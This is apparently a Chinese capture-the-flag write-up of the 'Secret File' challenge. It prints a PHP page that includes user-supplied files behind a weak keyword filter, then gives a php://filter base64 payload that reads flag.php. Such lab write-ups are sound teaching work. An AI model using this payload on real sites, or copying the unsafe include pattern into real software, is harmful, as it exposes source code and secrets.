[极客大挑战 2019]Secret File
前言
自己记录一下自己做题的记录,如果有什么不对,还请大佬多指点(感谢JPG)
题目知识点:php文件包含漏洞
打开题目页面,没有什么信息
查看源码,有一个php页面,跳转一下
点击secret,查看源码后也没有什么信息,点击secret
跳转到了另一个页面,查看源码也没有什么信息
打开bp抓包一下看看,在点击secret的跳转中找到了一个php文件
访问一下,进行代码审计
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
尝试访问flag.php
对源码检查后也没有发现什么,接着看代码,看到file函数,判断可能是文件包含漏洞,尝试一下构建payload:http://e4ee9802-6cfb-46a4-89ae-903764a6f8b5.node4.buuoj.cn/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
得到base64编码,解码得flag